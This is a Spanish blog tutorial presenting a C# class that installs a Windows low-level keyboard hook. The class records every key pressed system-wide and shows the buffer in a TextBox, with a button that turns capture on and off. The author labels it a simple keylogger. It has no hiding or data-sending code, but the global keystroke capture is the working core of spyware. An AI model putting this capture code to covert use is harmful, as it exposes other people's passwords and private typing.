En esta ocasión les traigo un pequeño tutorial de como capturar las pulsaciones del teclado desde un programa en C#, es un keylogger sencillo que solo captura las pulsaciones del teclado y las muestra en un TextBox, antes que nada quiero agradecer a Hernan Vivani ya que me basé en un código que él compartió para hacer el keylogger, solo lo modifique para trabajar bajo el paradigma orientado a objetos para hacer uso de eventos para actualizar el textbox con el contedido del buffer que almacena las teclas pulsadas.
Aquí pueden ver el código original y esta es la clase ya modificada.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 |
using System; using System.Diagnostics; using System.Windows.Forms; using System.Runtime.InteropServices; namespace Keylogger.NET { public class KeyboardHook { // Constantes private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; private const int WM_SYSKEYDOWN = 0x0104; private LowLevelKeyboardProc _proc = null; private IntPtr _hookID = IntPtr.Zero; private bool _isHooked = false; private static KeyboardHook _instance = null; private string _buffer = string.Empty; // Evento que se disparará al modificar el buffer public event EventHandler BufferChanged; // DLLImports [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr GetModuleHandle(string lpModuleName); /// <summary> /// Constructor /// </summary> protected KeyboardHook() { _proc = HookCallback; } /// <summary> /// Devuelve una instancia de la clase KeyboardHook /// </summary> /// <returns>asd</returns> public static KeyboardHook GetInstance() { if (_instance == null) _instance = new KeyboardHook(); return _instance; } /// <summary> /// Activa la detección de las pulsaciones /// </summary> public void Hook() { _hookID = SetHook(_proc); _isHooked = true; } /// <summary> /// Desactiva la detección de las pulsaciones /// </summary> public void UnHook() { UnhookWindowsHookEx(_hookID); _isHooked = false; } /// <summary> /// Indica si la detección esta activa /// </summary> public bool IsHooked { get { return _isHooked; } } /// <summary> /// Resúmen de las teclas pulsadas /// </summary> public string Buffer { get { return _buffer; } } /// <summary> /// Evento que se dispara al hacer un cambio en el buffer /// </summary> /// <param name="e"></param> protected virtual void OnBufferChanged(EventArgs e) { BufferChanged(this, e); } /// <summary> /// Función que agrega la tecla pulsada al buffer /// </summary> /// <param name="key">Tecla pulsada</param> private void AppendBuffer(Keys key) { _buffer += key + ", "; // Se ejecuta el evento ya que se modificó el buffer OnBufferChanged(new EventArgs()); } private IntPtr SetHook(LowLevelKeyboardProc proc) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); } } private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && (wParam == (IntPtr)WM_KEYDOWN || wParam == (IntPtr)WM_SYSKEYDOWN)) { int vkCode = Marshal.ReadInt32(lParam); AppendBuffer((Keys)vkCode); } return CallNextHookEx(_hookID, nCode, wParam, lParam); } } } |
Ejemplo de Uso
Voy a usar un botón tanto para activar la detección como para desactivarla, este es el código del botón.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
private void btnTeclado_Click(object sender, EventArgs e) { if (_kbHook == null) { _kbHook = KeyboardHook.GetInstance(); // Se asigna un manejador de evento _kbHook.BufferChanged += _kbHook_BufferChanged; } if (!_kbHook.IsHooked) { _kbHook.Hook(); MessageBox.Show("Detección de teclado activada."); } else { _kbHook.UnHook(); MessageBox.Show("Detección de teclado desactivada."); } } |
Este es el código del evento que usé para actualizar el TextBox al modificar el buffer el objeto KeyboardHook:
1 2 3 4 |
void _kbHook_BufferChanged(object sender, EventArgs e) { textBox1.Text = _kbHook.Buffer; } |